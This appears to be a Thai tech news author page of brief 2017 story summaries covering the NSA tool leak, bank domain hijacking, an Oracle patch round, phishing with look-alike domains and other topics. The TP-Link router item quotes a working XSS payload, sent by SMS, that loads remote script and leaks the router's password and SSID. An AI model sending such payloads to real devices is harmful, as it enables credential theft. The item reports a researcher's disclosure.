Member for :
By lew Founder on Tag: NSA, Windows, Security
NSA

กลุ่มแฮกเกอร์ Shadow Broker เคยออกมาขอเงิน 1 ล้านดอลลาร์เพื่อแลกกับชุดเครื่องมือที่น่าจะเป็นของ NSA แต่ปรากฎว่าไม่มีใครยอมจ่ายทำให้ทางกลุ่มปล่อยเครื่องมือออกมาฟรี และตอนนี้ก็เริ่มมีแฮกเกอร์ใช้เครื่องมือเหล่านี้แฮกเครื่องที่ต่ออินเทอร์เน็ตเป็นวงกว้างแล้ว

By lew Founder on Tag: Brazil, Banking, Security
Brazil

การโจมตีธนาคารด้วยการปลอมโดเมนเพื่อหลอกให้ลูกค้าใส่รหัสผ่านคงเป็นเรื่องที่เราพบเจอกันเรื่อยๆ ที่งาน Kaspersky Security Summit ทาง Kaspersky ก็รายงานถึงธนาคารแห่งหนึ่งในบราซิลที่ถูกขโมยโดเมนจริงของธนาคารไปถึง 5 ชั่วโมง ในช่วงวันที่ 22 ตุลาคมปีที่แล้ว

รายงานไม่ระบุชื่อธนาคารแต่ระบุว่าเป็นธนาคารขนาดใหญ่ มีทรัพย์สินรวม 25,000 ล้านดอลลาร์สหรัฐฯ, ลูกค้ากว่า 5 ล้านคน, และจำนวนสาขา 500 สาขา

By lew Founder on Tag: Xiaomi
Xiaomi

เมื่อวานนี้ Xiaomi เปิดตัว Mi 6 วันนี้ปรากฎว่ามีการประกาศสั่งจอง Mi MIX 2 ใน Gearbest แม้จะลบออกไปแล้วแต่หน้าสั่งจองก็มีภาพพร้อมสเปคอย่างละเอียด

กรณีนี้ตัวร้านที่เปิดรับจองอาจจะสร้างข้อมูลปลอมขึ้นมาเอง หรือเป็นภาพหลุดก่อนการเปิดตัวจริงๆ ก็เป็นไปได้ อย่างไรก็ตามสเปคที่เปิดออกมามีดังนี้

By lew Founder on Tag: Oracle, Security, Enterprise
Oracle

ออราเคิลปล่อยแพตช์ประจำไตรมาสที่สองของปี ตามนโยบายการออกแพตช์ปีละสี่รอบของบริษัท โดยรอบนี้มีช่องโหว่ได้รับการแก้ไขรวม 299 รายการ กระจายไปตามรายการซอฟต์แวร์ต่างๆ แต่รายการช่องโหว่ระดับวิกฤติ มักมาจากช่องโหว่ของ Struts 2 หลายสิบรายการ

สำหรับช่องโหว่จาวาที่ร้ายแรงที่สุดเป็น CVE-2017-3512 และ CVE-2017-3514 ในส่วน AWT, ส่วน Solaris มีช่องโหว่ระบบร้ายแรงสูงสุด 1 รายการในส่วน Kernel RPC

MySQL นั้นตัวเซิร์ฟเวอร์มีช่องโหว่คะแนน CVSS สูงสุดที่ 7.7 แต่สำหรับคนใช้รุ่น Enterprise อาจจะต้องระวังกว่าเพราะตัว Monitoring ได้รับผลกระทบจาก Struts 2 ทำให้มีช่องโหว่คะแนน 10.0 อีกหนึ่งรายการ

By lew Founder on Tag: Database, Microsoft, SQL Server
Database

ไมโครซอฟท์ประกาศปล่อย SQL Server 2017 Community Technology Preview 2.0 ให้นักพัฒนาได้ลองใช้งานกันก่อน โดยเพิ่มฟีเจอร์หลักสองอย่างได้แก่การปรับปรุงการคิวรี และการรองรับภาษา Python ในการวิเคราะห์ข้อมูล

ฟีเจอร์ Adaptive Query Processing จะเพิ่มไว้ใน SQL Server 2017 แต่ในเวอร์ชั่น CTP 2.0 ก็เพิ่มฟีเจอร์ย่อยเพื่อให้ปรับปรุงประสิทธิภาพได้เองเพิ่มขึ้นในบางกรณี

อีกฟีเจอร์สำคัญคือการรองรับภาษา Python ได้ในตัว โดยสามารถฝังไปกับ T-SQL เพื่อแปลงข้อมูลและประมวลผลได้เลย นอกจากนี้ไมโครซอฟท์ยังใส่ฟังก์ชั่นการประมวลผลแบบขนานให้เรียกใช้จากโค้ด Python ได้อีกด้วย

By lew Founder on Tag: MIT, IPv4, Internet
MIT

อินเทอร์เน็ตยุคแรกๆ มีการแจกจ่ายไอพีกันค่อนข้างง่ายดาย บริษัทที่ร่วมทดสอบไอพีมักได้วง /8 หรือ /16กันได้โดยง่าย แต่เมื่อการเปลี่ยนไปยัง IPv6 ไม่สามารถทำได้รวดเร็วอย่างที่หวังกันไว้ ตอนนี้ไอพีก็กลายเป็นของมีค่า ทำให้ MIT ตัดสินใจตัดแบ่งไอพีวง 18.0.0.0/8 ออกขายแล้ว

By lew Founder on Tag: Alipay, Alibaba, Southeast Asia
Alipay

Ant Financial เจ้าของแอป Alipay ประกาศเข้าซื้อ helloPay Group จาก Lazada แล้วเปลี่ยนชื่อบริการเป็น Alipay เตรียมให้บริการจ่ายเงินในเอเชียตะวันออกเฉียงใต้

ประเทศที่มีแอป Alipay ได้แก่ สิงคโปร์, มาเลเซีย, อินโดนีเซีย, และฟิลิปปินส์ โดยแอปของแต่ละชาติยังมีพื้นที่ใช้งานจำกัด ตอนนี้ใช้ได้เฉพาะบนเว็บ Lazada ในแต่ละประเทศเท่านั้น และไม่สามารถจ่ายกับร้านค้าที่รับเงินจาก Alipay ปกติได้

ตัว helloPay เดิมเป็นบริการรับจ่ายเงินให้กับเว็บ Lazada แต่ละประเทศรวมถึงประเทศไทย และแต่เดิมไม่มีแอป แต่หลังจาก Ant เข้าซื้อไปแล้วก็เตรียมจะเปิดบริการแยกออกมา

By lew Founder on Tag: South Korea, Politics
South Korea

ประชาธิปไตยอาจจะอยู่ในใจทุกคน แต่สำหรับเกาหลีที่กำลังมีเลือกตั้งประธานาธิบดีวันที่ 9 พฤษภาคมนี้ ผู้ลงคะแนนเสียงอาจจะได้มีส่วนร่วมมากกว่าประชาธิปไตยตามปกติ เมื่อกลุ่มสนับสนุนการเลือกตั้งเกาหลีจัด "หวยเลือกตั้ง" จับรางวัลสำหรับผู้ลงคะแนนเสียง

กลุ่มนี้นำโดย Yoon Byung-joo นักพัฒนาเว็บที่ทำงานสตาร์ตอัพในเกาหลีอยู่แล้ว และมองว่ากลุ่มคนรอบตัวไม่สนใจการเมืองนัก จึงรวมกลุ่มมาสนับสนุน "การสร้างสรรค์สังคมให้ดีขึ้น"

ผู้ที่ลงคะแนนเสียงในเกาหลีจะถูกปั๊มมือยืนยันการลงคะแนนเสียง ทางกลุ่ม Vote for Korea อาศัยภาพมือที่มีรอยปั๊มแล้วลงทะเบียนผู้ลงคะแนนเพื่อจับรางวัล

By lew Founder on Tag: Mastercard, Payment
Mastercard

Mastercard เปิดตัวบัตรเครดิตมีเซ็นเซอร์ลายนิ้วมือในตัว โดยยังใช้งานร่วมกับเครื่องรับบัตร EMV ทั่วโลกได้ โดยการใช้งานบัตรยังคงเหมือนเดิม แต่ระหว่างที่เสียบบัตรเข้าเครื่องรับจ่าย นิ้วมือเจ้าของบัตรจะต้องแตะอยู่ที่เซ็นเซอร์ลายนิ้วมือเพื่อยืนยันการจ่าย

แม้ว่าเทคโนโลยีนี้จะไม่ต้องเปลี่ยนแปลงเครื่องรับจ่ายแต่อย่างใด แต่ตอนนี้การทดลองก็ยังจำกัดอยู่ในซุปเปอร์มาร์เก็ต Pick n Pay และธนาคาร Absa ในเครือ Barclays Africa

ทาง Mastercard ระบุว่าเตรียมขยายการทดสอบไปยังยุโรปและเอเชียแปซิฟิกในไม่กี่เดือนข้างหน้า

By lew Founder on Tag: Open Source, Docker
Open Source

Docker เปิดตัวสองโครงการย่อยสำหรับการสร้างลินุกซ์ขนาดเล็ก โครงการแรกคือ Moby ชุดสร้างระบบคอนเทนเนอร์สำหรับผู้ที่อยากปรับแต่งซอฟต์แวร์รันคอนเทนเนอร์ให้มีความสามารถเพิ่มเติม และ LinuxKit ชุดสร้างลินุกซ์สำหรับการรันคอนเทนเนอร์

ทาง Docker จะค่อยๆ แตกส่วนต่างๆ ของ Docker ทุกวันนี้ออกมาเป็นชิ้นๆ อยู่ใน Moby พร้อมกับเครื่องมือสำหรับการสร้างซอฟต์แวร์ส่วนต่างๆ ของ Docker โดยการดูแลโครงการจะคล้ายกับ Fedora ที่ดูแลกันเองโดยชุมชน ขณะเดียวกันก็ทำหน้าที่เป็นโครงการต้นทางให้กับ RedHat

By lew Founder on Tag: Oracle, Docker
Oracle

งาน DockerCon ปีนี้ ออราเคิลประกาศนำซอฟต์แวร์หลักๆ เช่น Oracle Database, Oracle MySQL, Java 8 SE, WebLogic, Oracle Coherence, และ Oracle Instant Client ขึ้น Docker Store ทั้งหมด

อิมเมจเหล่านี้เปิดให้นักพัฒนาใช้งานได้ฟรีสำหรับนักพัฒนา สำหรับนักพัฒนาที่อยากทดสอบซอฟต์แวร์ร่วมกับระบบฐานข้อมูลของออราเคิลต่อจากนี้ก็แค่ pull อิมเมจเหล่านี้มาใช้งานกันได้เลย

By lew Founder on Tag: Games, StarCraft
Games

หลังจากเมื่อต้นปี Blizzard แจก Starcraft II โดยไม่ระบุเงื่อนไขว่าทำอย่างไรจึงได้รับ ตอนนี้ Starcraft ภาคแรกก็แจกฟรีทั้งหมดแล้ว

แพตช์ล่าสุดยังเพิ่มฟีเจอร์หลายอย่าง ตั้งแต่การรองรับ Windows 10, สามารถปรับเล่นได้ทั้งโหมดเต็มจอหรือเป็นวินโดวส์, โหมดสังเกตการณ์ดูเกมของคนอื่น

By lew Founder on Tag: Chrome, Google, Phishing, Security
Chrome

การเปิดใช้งานตัวอักษร unicode ในโดเมนเปิดทางให้การโจมตี phishing ทำได้แนบเนียนขึ้นเรื่อยๆ ปัญหาสำคัญเช่น อักษรซีริลลิก (Cyrillic) ที่มีตัวอักษรเหมือนกับตัวละตินในภาษาอังกฤษหลายตัว ทำให้สามารถปลอมโดเมนได้อย่างแนบเนียน

Xudong Zheng รายงานปัญหานี้ตั้งแต่สัปดาห์ที่แล้ว ระบุว่าบนเครื่องบางเครื่องที่ฟอนต์ตรงกัน การปลอมโดเมนด้วยอักษรซีริลลิก ทำให้ผู้ใช้ไม่สามารถแยกระหว่างโดเมนจริงกับโดเมนปลอมได้เลย

By lew Founder on Tag: Magento, Security
Magento

Defense Code รายงานช่องโหว่ของระบบอีคอมเมิร์ช Magento ที่ได้รับความนิยมเป็นอย่างสูงรวมถึงในบ้านเราเอง โดยระบบพรีวิววิดีโอจาก Vimeo จะดาวน์โหลดภาพสินค้าตัวอย่างเสมอ และแม้ว่าตัวซอฟต์แวร์จะตรวจสอบไฟล์ที่กำลังดาวน์โหลดว่าเป็นภาพจริงหรือไม่ แต่ก็ดาวน์โหลดไฟล์เสมอแม้จะผิดพลาดก็ตามทำให้แฮกเกอร์ทำโค้ดไปวางบนเซิร์ฟเวอร์ของเหยื่อได้

By lew Founder on Tag: Airbnb, Security
Airbnb

Airbnb เจอปัญหาผู้ใช้ถูกขโมยบัญชีมากขึ้นเรื่อยๆ ในช่วงหลัง หลังจากที่พยายามทำระบบตรวจจับความเสี่ยงภายใน ตอนนี้ทาง Airbnb ก็หันมาใช้การยืนยันตัวตนหลายขั้นตอนด้วย SMS แล้ว

การส่ง SMS ของ Airbnb จะไม่ส่งบ่อยๆ เหมือนการทำธุรกรรมธนาคารที่เราพบกัน แต่จะจำไว้ว่าเราเคยใช้อุปกรณ์ใดล็อกอินเข้าแอปบ้าง หากเป็นอุปกรณ์ใหม่ก็จะส่งรหัสทาง SMS หรืออีเมล หลังจากนั้นจะสามารถล็อกอินด้วยอุปกรณ์เดิมต่อไปได้เรื่อยๆ

ที่มา - Airbnb

By lew Founder on Tag: FBI, BitTorrent
FBI

FBI มีเทคโนโลยีเฉพาะของตัวเองสำหรับตามจับคนร้ายเสมอๆ วันนี้ทาง TorrentFreak ก็รายงานถึงความสามารถของ FBI ในการตามจับคนร้ายคดีเผยแพร่ภาพอนาจารเด็ก ที่ใช้ไคลเอนต์ BitTorrent ที่ปรับแต่งมาเป็นพิเศษเพื่อการตามจับคนร้าย

ไคลเอนต์รุ่นพิเศษนี้จะใช้สำหรับเก็บข้อมูลไอพีที่ได้มาจาก tracker จากนั้นเมื่อ FBI ล็อกเป้าหมาย ก็สามารถดาวน์โหลดไฟล์ทั้งหมดจากคนแชร์รายเดียว เพื่อยืนยันว่าต้นทางมีไฟล์ครบทั้งไฟล์อยู่บนเครื่องจริงๆ เพื่อดำเนินคดีต่อไป

By lew Founder on Tag: Security, TP-Link
Security

Jan Hörsch จากบริษัท Securai รายงานช่องโหว่ของเราท์เตอร์ 3G ของ TP-Link รุ่น M5350 ที่มีช่องโหว่ cross-site scripting (XSS) เปิดทางให้แฮกเกอร์สามารถยิงโค้ดจาวาสคริปต์ขึ้นไปรันได้

นักวิจัยทดสอบด้วยการยิง SMS <script src=//n.ms/a.j></script> เพื่อให้เราท์เตอร์นำโค้ดขึ้นไปรัน จากนั้นตัวสตริปต์จะส่ง SMS กลับมาเป็นรหัสผ่านและ SSID ของตัวเราท์เตอร์

By lew Founder on Tag: HPE, Security, NIST, Cryptography
HPE

NIST เปิดตัวมาตรการการเข้ารหัสแบบรักษาฟอร์แมตข้อมูล (Format-Preserving Encryption - FPE) มาตั้งแต่ปีที่แล้ว ตอนนี้ทาง HPE ประกาศว่าโซลูชั่น SecureData ของบริษัทเป็นโซลูชั่นแรกที่ได้รับการรับรอง (validated) ตามมาตรฐานนี้

HPE SecureData with Hyper FPE ใช้กระบวนวิธีเข้ารหัสแบบ AES-FF1 เป็นหนึ่งในสามกระบวนวิธีที่มาตรฐานของ NIST รับรองให้ใช้งาน

By lew Founder on Tag: Maker Movement, Singapore, Education
Maker Movement

Yaacob Ibrahim รัฐมนตรีกระทรวงการสื่อสารและสารสนเทศของสิงคโปร์ประกาศโครงการสนับสนุนเมกเกอร์ระดับชาติในชื่อ Digital Maker Programme สนับสนุนตั้งแต่การศึกษา, ชุมชนเมกเกอร์, ไปจนถึงตลาดสินค้าสิ่งประดิษฐ์

โครงการที่เป็นรูปธรรมส่วนแรกคือการร่วมมือกับกระทรวงศึกษา นำบอร์ด micro:bit ที่ BBC เคยแจกให้นักเรียนในโรงเรียนอังกฤษมาใช้ในการเรียน โดยมุ่งจะใช้งานในโรงเรียนประถมและมัธยม ระยะเวลาโครงการสองปี ส่วนการสนับสนุนในแง่ชุมชนจะมีการจัดฝึกความรู้เกี่ยวกับเมกเกอร์ให้ และระดับธุรกิจจะมีการสนับสนุนด้านการเงินให้กับบริษัทต่อไป

By lew Founder on Tag: Hong Kong, Software
Hong Kong

ในเกมเรามักเห็นระบบเซฟเกมแบบ "ช่องเซฟ" ที่เกมหนึ่งๆ จะเซฟได้ไม่เกิน 10 จุดเท่านั้น แต่ซอฟต์แวร์สนามบินฮ่องกงกลับมีข้อจำกัดแบบเดียวกัน และการเซฟเกินช่องเซฟมีผลถึงกับทำระบบล่มได้

ระบบควบคุมการบินของสนามบินฮ่องกงออกแบบให้มีช่องเซฟการตั้งค่าหน้าจอ (ขนาดตัวอักษร, ความสว่างหน้าจอ ฯลฯ) รวมทั้งหมด 5,500 ช่อง โดยมีผู้ใช้ระบบรวมประมาณ 400 คน แต่เมื่อวันที่ 8 เมษายนที่ผ่านมาผู้ใช้เซฟการตั้งค่าชุดใหม่เข้าระบบเกินข้อจำกัดพอดี ทำให้ระบบผิดพลาดเข้าสู่โหมดเตือนความผิดปกติและย้ายงานไปยังเซิร์ฟเวอร์ตัวที่สอง